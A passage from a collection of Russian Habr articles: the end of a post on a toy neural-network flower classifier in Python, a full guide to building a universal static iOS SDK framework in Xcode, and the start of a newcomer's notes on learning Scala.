Вообще этот разъем сеть практически в любом варианте считала цветком. Ну, это понятно, понюхать-то ей не дают.
Вариант 4. А давайте объединим наши бренды
------------------------------------------
Предыдущие варианты показали примерно одинаковые результаты. К этому моменту я успел подумать, то ли я вообще делаю и не слишком ли много я хочу от несчастной мухи. Но не остановился на этом.
Следующим вариантом было использование предыдущих двух одновременно — при успешных попытках запоминать значения синапсов **И** цель обучения первой матрицы **И** использовать случайность для расширения поиска.
```
for epoch in range(100):
print('Epoch =', epoch)
nn = ImgNN(firstShape, resultShape=middleShape, imageSize=imageSize)
if not (lastSyns is None):
nextSyns = lastSyns
for r in range(len(nextSyns)):
rand = (np.random.random(nextSyns[r].shape)-0.5)/20
nextSyns[r] = nextSyns[r] + rand
nn.net.syns = nextSyns
nn2 = NN([middleShape, (y.shape[1], middleShape[0]), y.shape])
for f in fl:
i = readImage(f, imageSize)
nn.learn(i, nextYY, 2)
mid = nn.calc(i)
nn2.learn(mid, y, 1000)
...
if minFails == None or fails < minFails:
minFails = fails
lastSyns = nn.net.syns
lastYY = nextYY
else:
nextYY = lastYY +(np.random.random(yy.shape)-0.5)/20
```
**Лучший результат: 2 ошибки на попытке 38**`Epoch = 38
flowers\178.jpg res = [[ 0.91 0.26 0.91 0.25]] v = 0.174
flowers\179.jpg res = [[ 0.99 0. 0.99 0. ]] v = 0.005
flowers\180.jpg res = [[ 0.9 0.21 0.89 0.2 ]] v = 0.153
flowers\182.jpg res = [[ 1. 0. 1. 0.]] v = 0.0
flowers\186-2.jpg res = [[ 1. 0.01 0.99 0.01]] v = 0.008
flowers\186.jpg res = [[ 0.91 0.12 0.93 0.07]] v = 0.09
flowers\187.jpg res = [[ 0.83 0.43 0.83 0.44]] v = 0.303
flowers\190 (2).jpg res = [[ 1. 0. 1. 0.]] v = 0.0
flowers\190.jpg res = [[ 1. 0. 1. 0.]] v = 0.001
flowers\191.jpg res = [[ 1. 0. 1. 0.]] v = 0.0
flowers\195.jpg res = [[ 0.99 0. 1. 0. ]] v = 0.004
flowers\199.jpg res = [[ 0.97 0.03 0.98 0.03]] v = 0.029
flowers\2.jpg res = [[ 1. 0. 1. 0.]] v = 0.003
flowers\200.jpg res = [[ 1. 0. 1. 0.]] v = 0.0
noflowers\032.jpg res = [[ 0.88 0.55 0.8 0.67]] v = 0.389
noflowers\085.jpg res = [[ 0.25 0.96 0.27 0.96]] v = 0.848
noflowers\088.jpg res = [[ 0.84 0.42 0.79 0.37]] v = 0.29
noflowers\122.JPG res = [[ 0.68 0.66 0.69 0.66]] v = 0.49
noflowers\123.jpg res = [[ 0.74 0.63 0.71 0.6 ]] v = 0.445
noflowers\173.jpg res = [[ 0.86 0.46 0.76 0.52]] v = 0.343
noflowers\202.jpg res = [[ 0.22 0.92 0.44 0.95]] v = 0.808
noflowers\205.jpg res = [[ 0.8 0.82 0.71 0.88]] v = 0.547
noflowers\cutxml.jpg res = [[ 0.99 0.03 0.97 0.02]] v = 0.022
noflowers\Getaway.jpg res = [[ 0.7 0.65 0.7 0.65]] v = 0.474
noflowers\IMGP1800.JPG res = [[ 0.79 0.5 0.77 0.5 ]] v = 0.36
noflowers\trq-4.png res = [[ 0.77 0.21 0.69 0.07]] v = 0.215
dy = 0.77 dn = 5.231
fails = 2 ['flowers\\187.jpg', 'noflowers\\cutxml.jpg']
min = 2`
2 ошибки на 28 файлов = 7% я посчитал достаточно хорошим результатом, который можно и не улучшать.
Прогон по конечным фотографиям и выводы
---------------------------------------
В конце процесса я сохранил обученную сетку, а точнее значения ее синапсов для лучшего результата, в текстовых файлах:
```
for i in range(len(lastSyns)):
np.savetxt('syns_save%s.txt'%i, lastSyns[i])
for i in range(len(lastSyns2)):
np.savetxt('syns2_save%s.txt'%i, lastSyns2[i])
```
Потом прогнал сеть по фотографиям:
```
StartLearn = False
if not StartLearn:
pictDir = 'C:\\AllPictures'
nn = ImgNN(firstShape, resultShape=middleShape, imageSize=imageSize)
nn.net.syns[0] = np.loadtxt('syns_save0.txt',ndmin=nn.net.syns[0].ndim)
nn.net.syns[1] = np.loadtxt('syns_save1.txt',ndmin=nn.net.syns[1].ndim)
nn2 = NN([middleShape, (y.shape[1], middleShape[0]), y.shape])
nn2.syns[0] = np.loadtxt('syns2_save0.txt',ndmin=nn2.syns[0].ndim)
nn2.syns[1] = np.loadtxt('syns2_save1.txt',ndmin=nn2.syns[1].ndim)
files = [e.path for e in os.scandir(pictDir)]
for f in files:
i = readImage(f, imageSize)
mid = nn.calc(i)
res = nn2.calc(mid)
delta = y-res
v = round(np.std(delta),3)
if v <= 0.3:
print('Flower',f,v)
## else:
## print('No flower',f, v)
```
В общем, не сказать, что она нашла только цветы. Попадались кошки, крабы, фейверки, просто камни и группы людей. А цветов среди моих фотографий было просто мало.
Можно сделать вывод, что в принципе сеть работает, просто задача для нее оказалась слишком сложной. Если посмотреть на [ImageNet](http://www.image-net.org/synset?wnid=n11669921), как мне посоветовал [Dark\_Daiver](https://habrahabr.ru/users/dark_daiver/) в комментарии к прошлой статье, то у цветов слишком большое разнообразие, чтобы суметь отличать их такой простой сетью.
**Исходный код**
```
import numpy as np
from nnmat import *
import os
import sys
from PyQt5.QtGui import *
from PyQt5.QtCore import *
import meshandler
import random
import cv2
class ImgNN:
def __init__(self, shape, resultShape = (16, 16), imageSize = (400,400)):
self.resultShape = resultShape
self.w = imageSize[0] // shape[0]
self.h = imageSize[1] // shape[1]
self.net = NN([shape, (1,shape[0]), (1,1)])
self.shape = shape
self.imageSize = imageSize
def learn(self, srcArr, result, cycles):
for c in range(cycles):
for x in range(self.w):
for y in range(self.h):
a = srcArr[x:x+self.shape[0], y:y+self.shape[1]]
if a.shape != (self.shape[0], self.shape[1]):
print(a.shape)
continue
self.net.learn(a, result[x,y], 1)
def calc(self, srcArr):
resArr = np.zeros(self.resultShape)
for x in range(self.w):
for y in range(self.h):
a = srcArr[x:x+self.shape[0], y:y+self.shape[1]]
if a.shape != (self.shape[0], self.shape[1]):
continue
if x >= self.resultShape[0] or y >= self.resultShape[1]:
continue
res = self.net.calc(a)
resArr[x,y] = res[0,0]
return resArr
def learnFile(self, file, result, cycles):
return self.learn(readImage(file, self.imageSize), result, cycles)
def calcFile(self, file):
return self.calc(readImage(file, self.imageSize))
def readImageCV(file, imageSize):
img = cv2.imread(file)
small = cv2.resize(img, imageSize)
hsv = cv2.cvtColor(small, cv2.COLOR_BGR2HSV)
return hsv[:,:,0]/255
def readImageQ(file, imageSize):
img = QImage(file)
if img.isNull():
return 0
img = img.convertToFormat(QImage.Format_Grayscale8)
img = img.scaled(imageSize[0],imageSize[1],Qt.IgnoreAspectRatio)
srcBi = img.bits()
srcBi.setsize(img.width() * img.height())
srcBy = bytes(srcBi)
srcW, srcH = img.width(), img.height()
srcArr = np.recarray((srcH, srcW), dtype=np.uint8, buf=srcBy).view(dtype=np.uint8,type=np.ndarray)
return srcArr/255
def readImageCVQ(file, imageSize):
img = QImage(file)
if img.isNull():
return 0
img = img.convertToFormat(QImage.Format_RGB888)
img = img.scaled(imageSize[0],imageSize[1],Qt.IgnoreAspectRatio)
srcBi = img.bits()
srcBi.setsize(img.byteCount())
srcBy = bytes(srcBi)
srcW, srcH = img.width(), img.height()
bp = img.depth() // 8
srcArr = np.recarray((srcH, srcW, bp), dtype=np.uint8, buf=srcBy)
srcArr = srcArr.view(dtype=np.uint8,type=np.ndarray)
hsv = cv2.cvtColor(srcArr, cv2.COLOR_RGB2HSV)
return hsv[:,:,0]/255
if __name__ == '__main__':
readImage = readImageCVQ
y = np.array([[1,0,1,0]])
firstShape = (40, 40)
middleShape = (10, 10)
imageSize = firstShape[0]*middleShape[0], firstShape[1]*middleShape[1]
StartLearn = False
if not StartLearn:
pictDir = 'C:\\AllPictures'
nn = ImgNN(firstShape, resultShape=middleShape, imageSize=imageSize)
nn.net.syns[0] = np.loadtxt('syns_save0.txt',ndmin=nn.net.syns[0].ndim)
nn.net.syns[1] = np.loadtxt('syns_save1.txt',ndmin=nn.net.syns[1].ndim)
nn2 = NN([middleShape, (y.shape[1], middleShape[0]), y.shape])
nn2.syns[0] = np.loadtxt('syns2_save0.txt',ndmin=nn2.syns[0].ndim)
nn2.syns[1] = np.loadtxt('syns2_save1.txt',ndmin=nn2.syns[1].ndim)
files = [e.path for e in os.scandir(pictDir)]
for f in files:
i = readImage(f, imageSize)
mid = nn.calc(i)
res = nn2.calc(mid)
delta = y-res
v = round(np.std(delta),3)
if v <= 0.3:
print('Flower',f,v)
## else:
## print('No flower',f, v)
else:
fl = [e.path for e in os.scandir('flowers')]
nofl = [e.path for e in os.scandir('noflowers')]
all = fl+nofl
yy = np.zeros(middleShape)
np.fill_diagonal(yy,1)
minFails = None
lastSyns = None
nextSyns = None
lastSyns2 = None
lastYY = yy
nextYY = yy
minDy = None
maxDn = None
for epoch in range(100):
print('Epoch =', epoch)
nn = ImgNN(firstShape, resultShape=middleShape, imageSize=imageSize)
if not (lastSyns is None):
nextSyns = lastSyns
for r in range(len(nextSyns)):
rand = (np.random.random(nextSyns[r].shape)-0.5)/20
nextSyns[r] = nextSyns[r] + rand
nn.net.syns = nextSyns
nn2 = NN([middleShape, (y.shape[1], middleShape[0]), y.shape])
for f in fl:
i = readImage(f, imageSize)
nn.learn(i, nextYY, 2)
## nn.learn(i, yy, 2)
mid = nn.calc(i)
nn2.learn(mid, y, 1000)
nextSyns=None
fails = 0
failFiles = []
dy = 0.0
dn = 0.0
for f in all:
i = readImage(f, imageSize)
mid = nn.calc(i)
res = nn2.calc(mid)
delta = (y-res)
v = round(np.std(delta),3)
#v = round(delta.sum(),3)
print(f, 'res = ', res.round(2),'v =',v)
if f in fl:
dy += v
if f in nofl:
dn += v
if v > 0.2 and f in fl:
fails += 1
failFiles.append(f)
elif v<0.2 and f in nofl:
fails +=1
failFiles.append(f)
print('dy =',dy,'dn =',dn)
if minDy == None or dy < minDy:
minDy = dy
if maxDn == None or dn > maxDn:
maxDn = dn
if minFails == None or fails < minFails:
minFails = fails
lastSyns = nn.net.syns
lastSyns2 = nn2.syns
lastYY = nextYY
else:
nextYY = lastYY +(np.random.random(yy.shape)-0.5)/20
print('fails =',fails, failFiles)
print('min =',minFails)
if minFails <= 1:
print('found!')
break
for i in range(len(lastSyns)):
np.savetxt('syns_save%s.txt'%i, lastSyns[i])
for i in range(len(lastSyns2)):
np.savetxt('syns2_save%s.txt'%i, lastSyns2[i])
```
Исходный код также [выложен на github](https://github.com/sshmakov/flynn) под лицензией MIT.
Бонус. OpenCV и русские буквы в путях файлов
--------------------------------------------
В прошлой статье я говорил, что у функции imread в OpenCV была проблема со чтением файлов с путями, в которых встречаются русские буквы. Такой проблемы нет у QImage из PyQt, но OpenCV мне был нужен для конвертации картинки в цветовое пространство HSV и для выделения плоскости цветности. Поэтому я совместил загрузку картинки через QImage и преобразование через OpenCV.
```
def readImageCVQ(file, imageSize):
img = QImage(file)
if img.isNull():
return 0
img = img.convertToFormat(QImage.Format_RGB888)
img = img.scaled(imageSize[0],imageSize[1],Qt.IgnoreAspectRatio)
srcBi = img.bits()
srcBi.setsize(img.byteCount())
srcBy = bytes(srcBi)
srcW, srcH = img.width(), img.height()
bp = img.depth() // 8
srcArr = np.recarray((srcH, srcW, bp), dtype=np.uint8, buf=srcBy)
srcArr = srcArr.view(dtype=np.uint8,type=np.ndarray)
hsv = cv2.cvtColor(srcArr, cv2.COLOR_RGB2HSV)
return hsv[:,:,0]/255
...
readImage = readImageCVQ
``` | https://habr.com/ru/post/339994/ | null | ru | null |
# Как собрать собственный фреймворк для iOS
Среди задач мобильного разработчика, помимо самой частой (написания, собственно, приложений) периодически появляется и такая, как создание sdk.
Примерами такой задачи может быть создание sdk, использующего REST API какого-либо сервиса (реклама, аналитика, погода), библиотека реализаций алгоритмов, обработка изображений… Список практически неограничен.
Ошибки, допущенные в таком продукте, исправлять гораздо сложнее, чем при разработке приложений. В случае с приложением достаточно обновить его в AppStore, дождаться прохождения модерации и обновления пользователем. В случае же с sdk цепочка прирастает дополнительным шагом — дождаться его обновления разработчиком.
Для некоторых типов задач ситуация может усугубляться ещё и тем, что не все разработчики приложений использующие наш sdk могут быть достаточно квалифицированы. В связи с этим интеграция должна вызывать минимум сложностей. В особенности это касается рекламных sdk и аналитики, так как зачастую они встраиваются гораздо позднее основного этапа создания приложения и не всегда первоначальным разработчиком.
Любой подобный sdk обычно состоит из многих компонент: библиотеки, тестового приложения, документации, плагинов к другим инструментам. В этой статье я расскажу о сборке библиотеки в виде фреймворка, некоторых приёмах и особенностях разработки.
Для начала, небольшая ремарка о решаемой задаче. Наша цель — получить библиотеку в таком формате, который требует минимум усилий и знаний при интеграции, а также не имеет побочных эффектов после неё.
Таким решением может стать, к примеру, CocoaPods, который, в частности, позволяет распространять пакеты с закрытым исходным кодом. Существует достаточно много статей (например [здесь](http://guides.cocoapods.org/making/using-pod-lib-create.html) или [здесь](http://blog.sigmapoint.pl/developing-static-library-for-ios-with-cocoapods/)), описывающих, как публиковать свои библиотеки в CocoaPods, и повторяться мы, пожалуй, не будем.
Для нашего sdk, рассчитанного на широкий круг разработчиков, такого способа распространения, очевидно, недостаточно: часть разработчиков не пользуются им принципиально («а вдруг опять github заблокируют?»), часть же не слышали о нем вовсе.
Сфокусируемся на сборке sdk в формате фреймворка. Всё, что понадобится пользователю для интеграции — перетащить его к себе в проект.
#### Про динамические фреймворки iOS8
С выходом iOS 8 и соответствующей ей версии iOS SDK появился новый тип таргета при создании проекта — динамический фреймворк. Попробуем выяснить, подходит ли он нам.
Появление такого типа таргета было обусловлено, в первую очередь, введением extension’ов, с которыми основному приложению приходится разделять общий код и ресурсы. Получающиеся в итоге динамические библиотеки похожи на настоящие, которые присутствуют, например, в OS X лишь отчасти. Дело в том, что библиотека по-прежнему остаётся в песочнице приложения и может быть использована только для extension’ов и основного приложения.
А можно ли использовать такие фреймворки для распространения нашего sdk? В данный момент ситуация неоднозначна. Из [документации Apple](https://developer.apple.com/library/prerelease/ios/documentation/General/Conceptual/ExtensibilityPG/ExtensionScenarios.html) следует, что embedded framework возможно использовать только на iOS8. Приложение всё ещё может иметь Deployment Target ниже, но использовать такой фреймворк не удастся. Практика же показывает несколько иную ситуацию. Embedded framework всё же удаётся запустить на девайсах с версией iOS ниже 8, однако эта радость быстро проходит при попытке публикации приложения, использующего такой фреймворк в AppStore. На этапе автоматической валидации выдаётся ошибка:
> The MinimumOSVersion of framework "..." is invalid. The minimum value is iOS 8.0;
Установка минимальной версии для таргета фреймворка в 8.0 приводит, в свою очередь, к ошибке на этапе линковки проекта:
> ld: embedded dylibs/frameworks are only supported on iOS 8.0 and later
Резюме по динамическим фреймворкам на данный момент такое: использовать и распространять их возможно, но только если минимальная версия iOS SDK начинается с 8.
#### Про сборку SDK
Попробуем воспользоваться тем же шаблоном динамического фреймворка, который предоставляет Xcode 6, но теперь уже для сборки его статической версии. Оказывается, после некоторых модификаций это вполне возможно. Приступим.
Создадим новый проект, где в качестве типа таргета выберем Cocoa Touch Framework. Имя выбираем любое. Для определённости, наш назовём MySDK.
Добавляем в проект классы нашего sdk. Заголовочные файлы, которые должны быть публично доступны, помечаем как Public и импортируем в umbrella-header, который по умолчанию был создан с проектом. В нашем случае он называется MySDK.h
Далее, заходим в BuildSettings нашего таргета и в секции Linking меняем Mach-O Type на Static Library.
В настройках схемы нашего таргета поменяем конфигурацию запуска на Release. Это действие необходимо для того, чтобы сборка происходила для всех доступных архитектур, а не только для активной.
Разработчик, использующий нашу библиотеку, наверняка захочет запускать код на всех возможных для iOS архитектурах процессоров. И мы должны об этом позаботиться. На данный момент актуальный список архитектур включает 3 для устройств (armv7, armv7s, arm64) и 2 для симуляторов (i386, x86\_64). Для этого необходимо собрать так называемую fat binary библиотеку, которая будет включать в себя слои для каждой из поддерживаемых архитектур. Для этого создадим в проекте таргет типа Aggregate. Назовём его MySDKUniversal.
В BuildPhases таргета добавляем фазу Run Script со следующим скриптом:
```
FRAMEWORK_NAME="${PROJECT_NAME}"
SIMULATOR_LIBRARY_PATH="${BUILD_DIR}/${CONFIGURATION}-iphonesimulator/${FRAMEWORK_NAME}.framework"
DEVICE_LIBRARY_PATH="${BUILD_DIR}/${CONFIGURATION}-iphoneos/${FRAMEWORK_NAME}.framework"
UNIVERSAL_LIBRARY_DIR="${BUILD_DIR}/${CONFIGURATION}-iphoneuniversal"
FRAMEWORK_PATH="${UNIVERSAL_LIBRARY_DIR}/${FRAMEWORK_NAME}.framework"
xcodebuild -project ${PROJECT_NAME}.xcodeproj -sdk iphonesimulator -target ${FRAMEWORK_NAME} -configuration ${CONFIGURATION} clean build CONFIGURATION_BUILD_DIR=${BUILD_DIR}/${CONFIGURATION}-iphonesimulator ARCHS='i386 x86_64'
xcodebuild -project ${PROJECT_NAME}.xcodeproj -sdk iphoneos -target ${FRAMEWORK_NAME} -configuration ${CONFIGURATION} clean build CONFIGURATION_BUILD_DIR=${BUILD_DIR}/${CONFIGURATION}-iphoneos ARCHS='arm64 armv7 armv7s'
rm -rf "${UNIVERSAL_LIBRARY_DIR}"
mkdir "${UNIVERSAL_LIBRARY_DIR}"
mkdir "${FRAMEWORK_PATH}"
cp -r "${DEVICE_LIBRARY_PATH}/." "${FRAMEWORK_PATH}"
lipo "${SIMULATOR_LIBRARY_PATH}/${FRAMEWORK_NAME}" "${DEVICE_LIBRARY_PATH}/${FRAMEWORK_NAME}" -create -output "${FRAMEWORK_PATH}/${FRAMEWORK_NAME}"
```
Здесь мы дважды вызываем сборку нашего фреймворка и собираем получившиеся библиотеки в один fat binary с помощью утилиты lipo. Обратите внимание на последний параметр ARCHS при вызове xcodebuild. Если его не указать, то сборка для девайса будет использовать список архитектур по-умолчанию описанный в переменной ARCHS\_STANDARD. Дело в том, что Apple, судя по всему, намеренно исключила из переменной ARCHS\_STANDARD armv7s для Xcode6, оставив только armv7, arm64. В целом, в этом нет большой проблемы для разработчика, и в приложении он практически всегда может исключить armv7s. Приложение без особых проблем, хотя, вероятно, и с меньшей оптимизацией, будет работать на процессорах A6, A6X. Но, разрабатывая sdk, не стоит принимать такое решение за разработчика. Гораздо проще перечислить список архитектур явно.
#### Про зависимости
Редко какой код сможет обойтись без сторонних зависимостей. Например, библиотеки работы с сетью, различные парсеры, категории к классам системных фреймворков и т.д. В итоге, все эти классы попадают в наш sdk, и разработчик, который его использует, сможет столкнуться с проблемами при сборке своего проекта. Эти проблемы начнутся как только он захочет использовать одну из тех «вшитых» в sdk библиотек. Компилятор выдаст кучу “duplicate symbols” при сборке его приложения. Казалось бы, что в этом плохого: разработчику всего лишь нужно удалить из зависимостей эту библиотеку, так как её классы уже есть в нашем sdk. Загвоздка в том, что он лишается возможности обновлять эту библиотеку и становится зависим от наличия нашего sdk.
Решение, которое, с некоторыми оговорками, можно назвать лучшим из имеющихся, заключается в добавлении префиксов ко всем импортируемым символам используемых библиотек. К процессу сборки нашего фреймворка добавляется ещё шаг. Для этого создадим отдельный таргет проекта, в котором будем собирать статическую библиотеку со всеми зависимостями. Назовём его ext.
Добавляем все наши зависимости в раздел CompileSources списка фаз сборки. Последней фазой добавляем кастомный скрипт. Сам скрипт берём [здесь](http://pdx.esri.com/assets/files/generate_namespace_header.sh). Не забываем поправить префикс, который будем добавлять к символам из библиотеки, и путь к заголовочному файлу, который будем генерировать. В нашем случае это:
```
header="${SRCROOT}/${PROJECT_NAME}/ext/NamespacedDependencies.h"
prefix="MYSDK"
```
Запускаем сборку нашего таргета `ext`. Получившаяся в результате этого библиотека нам не понадобится. Интерес представляет получившийся заголовочный файл NamespacedDependencies.h. Убедитесь, что он не пустой и содержит макросы, которые подменяют имена символов нашей библиотеки зависимостей. После этого добавьте получившийся заголовочный файл к нашему основному таргету MySDK.
NamespacedDependencies.h должен быть импортирован перед импортом любого из хедеров зависимостей. Наиболее подходящим для этого местом в проекте является PCH файл. Если он ещё не существует в проекте, то необходимо его создать. Не забываем указать путь к нему в настройках таргета.
Теперь при сборке нашего фреймворка все символы из библиотек-зависимостей будут снабжены указанным префиксом. Этот факт можно проверить запустив утилиту nm.
```
nm -a /Users/mik/Library/Developer/Xcode/DerivedData/Build/Products/Release-iphoneuniversal/MySDK.framework/MySDK | grep MYSDK
00000000000022be t +[MYSDK_AFURLConnectionOperation batchOfRequestOperations:progressBlock:completionBlock:]
0000000000000000 t +[MYSDK_AFURLConnectionOperation networkRequestThreadEntryPoint:]
...
```
В результате такого трюка наш sdk не будет вызывать конфликтов при использовании тех же зависимостей в конечном проекте, хотя, конечно, и увеличит размер собранного приложения.
#### Про ресурсы
Помимо, собственно, скомпилированной библиотеки, очень часто появляется необходимость распространять её вместе с ресурсами: такими как изображения, звуки, xib файлы и т.д. И cтруктура фреймворка может содержать в себе папку с ресурсами. Однако, Xcode её попросту игнорирует.
Чтобы иметь возможность добавить ресурсы к себе в проект, нужно распространять вместе с фреймворком либо отдельный бандл с ресурсами, либо символическую ссылку на ресурсы, расположенные внутри самого фреймворка.
##### Способ 1
Для ресурсов создадим отдельный бандл, который разместим внутри фреймворка.
Все наши ресурсы разместим в нём, а его, в свою очередь, уже внутри фреймворка.
Из-за того, что мы воспользовались шаблоном Bundle для OS X, важно не забыть произвести ещё несколько настроек в таргете бандла.
1. установить Base SDK в Latest iOS (по умолчанию Latest OS X)
2. удалить секцию Compile Sources из Build Phases
3. установить настройку Combine High Resolution Artwork в NO. Иначе ресурсы для разных плотностей экрана будут собираться в один TIFF файл
После этой настройки можно добавить MySDKResources.bundle в секцию Copy Bundle Resources нашего основного таргета MySDK и таргет MySDKResources в Target Dependencies.
Остаётся добавить символическую ссылку на бандл, находящийся внутри фреймворка. Для этого дописываем в скрипт, собирающий наш универсальный фреймворк строчки.
```
pushd ${UNIVERSAL_LIBRARY_DIR}
ln -sfh "${FRAMEWORK_NAME}.framework/${FRAMEWORK_NAME}Resources.bundle" "${FRAMEWORK_NAME}Resources.bundle"
popd
```
Теперь для использования sdk, помимо фреймворка, в проект также нужно добавить эту символическую ссылку.
##### Способ 2
Существенным минусом первого способа является то, что наш фреймворк перестаёт быть цельным. А это очень существенно при распространении sdk. Для случаев, когда это применимо, можно воспользоваться таким приёмом, как встраивание ресурсов в код sdk. Такой метод удобен для хранения ресурсов небольшого размера. Например, это могут быть звуки, изображения кнопок, логотипов или текстовые ресурсы. Естественно, список не ограничивается этим набором, ресурсы могут быть абсолютно любые.
Здесь на помощь придёт утилита xxd, у которой есть замечательная опция вывода в формате статического C-массива. Я использую такой дополнительный скрипт генерации ресурсов в Build Phases проекта, который нужно добавить как Run Script перед Compile Sources.
```
RESOURCES_FILE="${SRCROOT}/${PROJECT_NAME}/MySDKResources.h"
rm -f ${RESOURCES_FILE}
pushd "${SRCROOT}/${PROJECT_NAME}Resources/images"
for filename in *.png; do
xxd -i $filename >> "${RESOURCES_FILE}"
done
popd
```
Полученный MySDKResources.h добавляем в проект. После чего ресурсами можно пользоваться, создавая объект NSData, а из него, в свою очередь, и любой другой объект, например, UIImage для изображений.
```
NSData *pngData = [NSData dataWithBytesNoCopy:close_png length:close_png_len freeWhenDone:NO];
```
#### Про версионирование
При распространении sdk очень удобно для каждого билда иметь уникальный номер версии. Удобство, в основном, заметно при обращении в службу поддержки или при учёте ошибок в багтрекере. Способов формирования номера версии существует множество. Я остановился на таком. Используем формат MAJOR.MINOR.BUILD, где MAJOR.MINOR задаются вручную в зависимости от политики релизов, обратной совместимости версий и т.д. В качестве BUILD берётся количество коммитов в текущей ветке репозитория (релизные сборки происходят всегда из одной ветки). Для автоматизации этого процесса используется небольшой скрипт, который добавляется в BuildPhases таргета до фазы сборки фреймворка. После первой генерации этого файла не забываем добавить его в проект с пометкой public и в наш umbrella-header:
```
VERSION=`git rev-list HEAD --count`
echo "#define MYSDK_VERSION @\"1.0.${VERSION}\"" > ${SRCROOT}/MYSDKVersion.h
```
После этого номер версии может быть использован самим sdk. Например, в качестве параметров запроса к API или для вывода в лог.
#### Вместо заключения
Итак, в этой статье нам удалось охватить некоторые важные аспекты разработки sdk, связанные, в основном, со сборкой. Но на этом круг вопросов, связанных с sdk, далеко не исчерпан. Незатронутыми остались такие интересные вещи, как автоматизация сборки sdk, документирование, автоматизация тестирования sdk, поддержка старых версий iOS, разработка плагинов для таких инструментов как Unity и Adobe Air. Но это — уже тема для отдельной и, может быть, не одной статьи.
**Список литературы**1. XCode 6 and Embedded Frameworks only supported in iOS8
[stackoverflow.com/questions/25909870/xcode-6-and-embedded-frameworks-only-supported-in-ios8/25910262#25910262](http://stackoverflow.com/questions/25909870/xcode-6-and-embedded-frameworks-only-supported-in-ios8/25910262#25910262)
2. Avoiding dependency collisions in iOS static library managed by CocoaPods
[blog.sigmapoint.pl/avoiding-dependency-collisions-in-ios-static-library-managed-by-cocoapods](http://blog.sigmapoint.pl/avoiding-dependency-collisions-in-ios-static-library-managed-by-cocoapods/)
3. Avoiding Dependency Collisions in an iOS Library
[pdx.esri.com/blog/2013/12/13/namespacing-dependencies](http://pdx.esri.com/blog/2013/12/13/namespacing-dependencies/)
4. Creating a Static Framework Project in Xcode 6
[iosxamarintutorials.blogspot.in/2014/12/creating-static-framework-project-in.html](http://iosxamarintutorials.blogspot.in/2014/12/creating-static-framework-project-in.html)
5. Embedding Binary Resources
[www.cocoanetics.com/2010/10/embedding-binary-resources](http://www.cocoanetics.com/2010/10/embedding-binary-resources/) | https://habr.com/ru/post/246247/ | null | ru | null |
# Как я Scala учил
Месяца назад я получил свою первую работу и стал стажер-разработчиком, наша команда использует язык Scala. Мне кажется, все начинающие разработчики в первый день потерянные. одновременно наваливается куча новых имен, технологий, каких-то правил, да и мало ли что еще, абсолютно все для тебя ново, это же первая работа. В моем же случае я еще и не знал языка, на котором буду программировать, до момента собеседования я даже никогда о нем не слышал. Итог: в первый день я был в полном ауте. Спросите как тогда я вообще получил эту работу? Я знал Java, на собеседовании мне сказали что джависту перейти на скалу будет достаточно легко и можно не переживать. Но видимо чуть-чуть попереживать все же стоило, потому что первое время перед собой я видел просто экраны, заполненные текстом, в которых сходу была ясна едва ли половина.
Но больше дискомфорта приносило даже не то, что я чего-то не понимал, а то что там многое по-другому, да даже тип переменной идет после названия, а порой его вообще нет.
```
final String str = "abc"; //Java
```
```
val str = "abc" // Scala
```
Вот так описывается функция:
```
int sum(int a, int b) {return a+b;} // Java
```
```
def sum(a: Int, b: Int) = {a + b} // Scala
```
А еще у Scala есть консоль REPL(Read-eval-print-loop), как, например, в Python. Как вы уже заметили пропали точки с запятой. Можно запускать одностраничные программы без main'а, названия методов и переменных могут содержать и начинаться вообще с любых символов, никаких правил. Там не static, но есть Object, там примитивы тоже объекты, == там на самом деле equals. Если у метода нет параметров то не обязательно ставить точку для вызова метода, скобки тоже опциональны если нет параметров, а если принимает только 1 параметр, то можно написать вот так:
```
str.charAt(5); // Java
```
```
str charAt 5 // Scala
```
И еще один интересный пример:
```
val res = 1 + 1
```
Нет, это не просто 1 плюс 1, здесь у объекта 1, вызывается метод + и ему передается единственным параметром объект 1. Для меня этого было разрывом шаблона.
На помощь моему шоку пришла замечательная книга Дэвида Поллака — Beginning Scala. Книга начинается с одной фразы, после которой я понял что обязательно должен дочитать ее до конца:
> Ouch! That hurts my brain! Stop making me think differently. Oh, wait… it hurts less now. I get it. This different way of solving the problem has some benefits. I felt that way after my first year of law school. I felt that way for a while when I began coding Scala.
Дэвид имеет колоссальный опыт в программировании, начинал он это дело еще за 20 лет до моего рождения, успел поработать с более чем 10 языками программирования, пока не пришел к Scala. И теперь он говорит:
> Scala is a programming language that provides a best-of-all-worlds experience for developers.
Тем не менее автор честно предупреждает, что овладеть им не так уж просто, ему для этого потребовалось 2 года, но он надеется, что мы сможем быстрее и он в этом поможет. Это не очень-то простая книга и она предполагает определенный опыт в программировании у читателя. Особенно она понравится тем, кто раньше программировал на Java, т.к. встречается много отсылок к этому языку и можно сравнивать.
Помимо Beginning Scala параллельно я читал уроки Twitter’s Scala School, для всех уроков есть перевод на русский язык, книгу Дэвида Поллака же удалось найти только в английском варианте.
Закрепить теорию помимо самостоятельных путешествий по исходникам скалы и работы помогал проект Scala Exercises, там очень простые задания, но вполне подходят для закрепления какого-то аспекта на первых порах и проверки того, что ты все внимательно прочитал и понял действительно правильно.
И расскажу немного про самые распространенные и очень простые вещи, которые пришлось постичь в первую очередь.
**Option**. В двух словах — это контейнер в котором либо пусто(None, похоже на null, но имеет методы map, filter, ...), либо лежит какое-то ровно одно значение Some(value) и его использование может сделать код более безопасным и не кидающим NullPointerException, потому что хочешь не хочешь, а чистые данные из Option нужно еще извлечь, и вот в этот момент забыть написать проверку уже сложно.
Конечно, у Option есть метод get, но использовать его не рекомендуется потому что в этом случае теряется весь смысл Option, т.к. None.get вызывает исключение.
Несколько самых очевидных удобств:
Легко возвращать значение по умолчанию в случае пустого Option
```
optValue.getOrElse(defaultValue)
```
В случае каких-то действий:
```
optValue match {
case Some(value) => action
case None => defaultAction
}
```
Пример из Scala Beginning. Путь есть некая база данных, которая содержит записи типы Person
```
def findPerson(key: Int): Option[Person]
```
Метод вернет Some[Person] если такая запись будет найдена и None иначе.
Теперь мы хотим получать возраст пользователя по ключу.
```
def ageFromKey(key: Int): Option[Int] = findPerson(key).map(_.age)
```
Нам не пришлось тестировать на None и метод получился очень лаконичным.
**Pattern matching**. В начале я подумал, что это тот же джавовский switch и использовать я его почти не буду, но это не так. В Scala это одна из самых часто используемых конструкций.
Приведение типов:
```
obj match {
case str: String => str
case number: Int => number
}
```
Можно добавить дополнительные условия и добавить действие по умолчанию
```
obj match {
case strWithA: String if strWithA.contains("a") => strWithA
case negative: Int if negative < 0 => negative
case zero if zero == 0 => zero
case _ => defaultAction
}
```
